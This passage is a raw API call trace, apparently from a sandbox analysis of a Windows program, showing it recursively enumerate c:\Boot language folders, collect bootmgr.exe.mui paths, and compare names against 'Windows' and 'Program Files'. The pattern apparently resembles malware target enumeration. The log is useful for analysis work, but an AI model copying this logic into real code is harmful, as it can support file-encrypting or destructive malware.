lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.116] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.116] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.116] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.116] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0040.116] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.116] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0040.116] lstrlenW (lpString="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0040.116] lstrcpyW (in: lpString1=0x122f78, lpString2="c:\\Boot\\nb-NO\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0040.116] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.116] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.116] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.116] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0040.116] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0040.116] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.116] lstrlenW (lpString="nl-NL") returned 5 [0040.116] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nl-NL" | out: lpString1="c:\\Boot\\nl-NL") returned="c:\\Boot\\nl-NL" [0040.116] lstrcatW (in: lpString1="c:\\Boot\\nl-NL", lpString2="\\" | out: lpString1="c:\\Boot\\nl-NL\\") returned="c:\\Boot\\nl-NL\\" [0040.116] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0040.116] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="c:\\Boot\\nl-NL\\*") returned="c:\\Boot\\nl-NL\\*" [0040.116] FindFirstFileW (in: lpFileName="c:\\Boot\\nl-NL\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.116] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.116] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.116] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.116] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.116] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.116] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.116] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.117] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0040.117] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.117] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0040.117] lstrlenW (lpString="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0040.117] lstrcpyW (in: lpString1=0x122fc0, lpString2="c:\\Boot\\nl-NL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0040.117] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.117] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.117] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.117] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0040.117] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0040.117] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.117] lstrlenW (lpString="pl-PL") returned 5 [0040.117] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pl-PL" | out: lpString1="c:\\Boot\\pl-PL") returned="c:\\Boot\\pl-PL" [0040.117] lstrcatW (in: lpString1="c:\\Boot\\pl-PL", lpString2="\\" | out: lpString1="c:\\Boot\\pl-PL\\") returned="c:\\Boot\\pl-PL\\" [0040.117] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0040.117] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="c:\\Boot\\pl-PL\\*") returned="c:\\Boot\\pl-PL\\*" [0040.117] FindFirstFileW (in: lpFileName="c:\\Boot\\pl-PL\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.117] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.117] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.117] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.117] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.117] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.117] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.117] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.117] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0040.117] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.117] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0040.117] lstrlenW (lpString="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0040.117] lstrcpyW (in: lpString1=0x123008, lpString2="c:\\Boot\\pl-PL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0040.117] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.117] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.117] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.117] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0040.117] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0040.117] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.117] lstrlenW (lpString="pt-BR") returned 5 [0040.117] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-BR" | out: lpString1="c:\\Boot\\pt-BR") returned="c:\\Boot\\pt-BR" [0040.117] lstrcatW (in: lpString1="c:\\Boot\\pt-BR", lpString2="\\" | out: lpString1="c:\\Boot\\pt-BR\\") returned="c:\\Boot\\pt-BR\\" [0040.117] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0040.117] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-BR\\*") returned="c:\\Boot\\pt-BR\\*" [0040.117] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-BR\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.118] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.118] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.118] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.118] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.118] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.118] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.118] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.118] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0040.118] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.118] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0040.118] lstrlenW (lpString="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0040.118] lstrcpyW (in: lpString1=0x123050, lpString2="c:\\Boot\\pt-BR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0040.118] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.118] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.118] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.118] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0040.118] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0040.118] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.118] lstrlenW (lpString="pt-PT") returned 5 [0040.118] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-PT" | out: lpString1="c:\\Boot\\pt-PT") returned="c:\\Boot\\pt-PT" [0040.118] lstrcatW (in: lpString1="c:\\Boot\\pt-PT", lpString2="\\" | out: lpString1="c:\\Boot\\pt-PT\\") returned="c:\\Boot\\pt-PT\\" [0040.118] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0040.118] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-PT\\*") returned="c:\\Boot\\pt-PT\\*" [0040.118] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-PT\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.118] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.118] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.118] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.118] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.118] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.118] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.118] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.118] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0040.118] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.118] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0040.118] lstrlenW (lpString="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0040.119] lstrcpyW (in: lpString1=0x12d900, lpString2="c:\\Boot\\pt-PT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0040.119] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.119] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.119] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.119] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0040.119] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0040.119] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.119] lstrlenW (lpString="ru-RU") returned 5 [0040.119] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ru-RU" | out: lpString1="c:\\Boot\\ru-RU") returned="c:\\Boot\\ru-RU" [0040.119] lstrcatW (in: lpString1="c:\\Boot\\ru-RU", lpString2="\\" | out: lpString1="c:\\Boot\\ru-RU\\") returned="c:\\Boot\\ru-RU\\" [0040.119] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0040.119] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="c:\\Boot\\ru-RU\\*") returned="c:\\Boot\\ru-RU\\*" [0040.119] FindFirstFileW (in: lpFileName="c:\\Boot\\ru-RU\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.119] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.119] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.119] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.119] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.119] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.119] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.119] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.119] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0040.119] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.119] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0040.119] lstrlenW (lpString="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0040.119] lstrcpyW (in: lpString1=0x12d960, lpString2="c:\\Boot\\ru-RU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0040.119] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.119] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.119] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.119] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0040.120] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0040.120] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.120] lstrlenW (lpString="sv-SE") returned 5 [0040.120] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="sv-SE" | out: lpString1="c:\\Boot\\sv-SE") returned="c:\\Boot\\sv-SE" [0040.120] lstrcatW (in: lpString1="c:\\Boot\\sv-SE", lpString2="\\" | out: lpString1="c:\\Boot\\sv-SE\\") returned="c:\\Boot\\sv-SE\\" [0040.120] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0040.120] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="c:\\Boot\\sv-SE\\*") returned="c:\\Boot\\sv-SE\\*" [0040.120] FindFirstFileW (in: lpFileName="c:\\Boot\\sv-SE\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.120] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.120] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.120] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.120] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.120] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.120] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.120] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.120] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0040.120] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.120] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0040.120] lstrlenW (lpString="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0040.120] lstrcpyW (in: lpString1=0x12d9a8, lpString2="c:\\Boot\\sv-SE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0040.120] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.120] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.120] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.120] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0040.120] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0040.120] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.120] lstrlenW (lpString="tr-TR") returned 5 [0040.120] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="tr-TR" | out: lpString1="c:\\Boot\\tr-TR") returned="c:\\Boot\\tr-TR" [0040.120] lstrcatW (in: lpString1="c:\\Boot\\tr-TR", lpString2="\\" | out: lpString1="c:\\Boot\\tr-TR\\") returned="c:\\Boot\\tr-TR\\" [0040.120] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0040.120] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="c:\\Boot\\tr-TR\\*") returned="c:\\Boot\\tr-TR\\*" [0040.120] FindFirstFileW (in: lpFileName="c:\\Boot\\tr-TR\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.120] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.120] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.120] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.120] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.120] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.120] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.120] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.120] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0040.120] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.120] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0040.120] lstrlenW (lpString="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0040.121] lstrcpyW (in: lpString1=0x12d9f0, lpString2="c:\\Boot\\tr-TR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0040.121] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.121] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.121] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.121] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0040.121] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0040.121] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.121] lstrlenW (lpString="zh-CN") returned 5 [0040.121] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-CN" | out: lpString1="c:\\Boot\\zh-CN") returned="c:\\Boot\\zh-CN" [0040.121] lstrcatW (in: lpString1="c:\\Boot\\zh-CN", lpString2="\\" | out: lpString1="c:\\Boot\\zh-CN\\") returned="c:\\Boot\\zh-CN\\" [0040.121] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0040.121] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-CN\\*") returned="c:\\Boot\\zh-CN\\*" [0040.121] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-CN\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.121] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.121] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.121] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.121] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.121] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.121] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.121] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.121] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0040.121] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.121] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0040.121] lstrlenW (lpString="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0040.121] lstrcpyW (in: lpString1=0x12da38, lpString2="c:\\Boot\\zh-CN\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0040.121] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.121] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.121] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.121] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0040.121] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0040.121] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.121] lstrlenW (lpString="zh-HK") returned 5 [0040.121] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-HK" | out: lpString1="c:\\Boot\\zh-HK") returned="c:\\Boot\\zh-HK" [0040.121] lstrcatW (in: lpString1="c:\\Boot\\zh-HK", lpString2="\\" | out: lpString1="c:\\Boot\\zh-HK\\") returned="c:\\Boot\\zh-HK\\" [0040.121] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0040.121] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-HK\\*") returned="c:\\Boot\\zh-HK\\*" [0040.121] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-HK\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.121] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.121] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.121] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.121] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.121] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.121] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.122] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.122] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0040.122] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.122] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0040.122] lstrlenW (lpString="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0040.122] lstrcpyW (in: lpString1=0x12da80, lpString2="c:\\Boot\\zh-HK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0040.122] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.122] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.122] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.122] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0040.122] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0040.122] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.122] lstrlenW (lpString="zh-TW") returned 5 [0040.122] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-TW" | out: lpString1="c:\\Boot\\zh-TW") returned="c:\\Boot\\zh-TW" [0040.122] lstrcatW (in: lpString1="c:\\Boot\\zh-TW", lpString2="\\" | out: lpString1="c:\\Boot\\zh-TW\\") returned="c:\\Boot\\zh-TW\\" [0040.122] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0040.122] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-TW\\*") returned="c:\\Boot\\zh-TW\\*" [0040.122] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-TW\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.122] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.122] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.122] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.122] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.122] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.122] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.122] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.122] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0040.122] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.122] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0040.122] lstrlenW (lpString="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0040.122] lstrcpyW (in: lpString1=0x12dac8, lpString2="c:\\Boot\\zh-TW\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0040.122] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.122] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.122] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0 [0040.122] FindClose (in: hFindFile=0x775cd8 | out: hFindFile=0x775cd8) returned 1 [0040.122] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.122] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0040.122] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0040.122] lstrcmpW (lpString1="bootmgr", lpString2="Windows") returned -1 [0040.122] lstrcmpW (lpString1="bootmgr", lpString2="Program Files") returned -1 [0040.122] lstrlenW (lpString="c:\\") returned 3 [0040.122] lstrlenW (lpString="bootmgr") returned 7 [0040.122] lstrcatW (in: lpString1="c:\\", lpString2="bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0040.122] 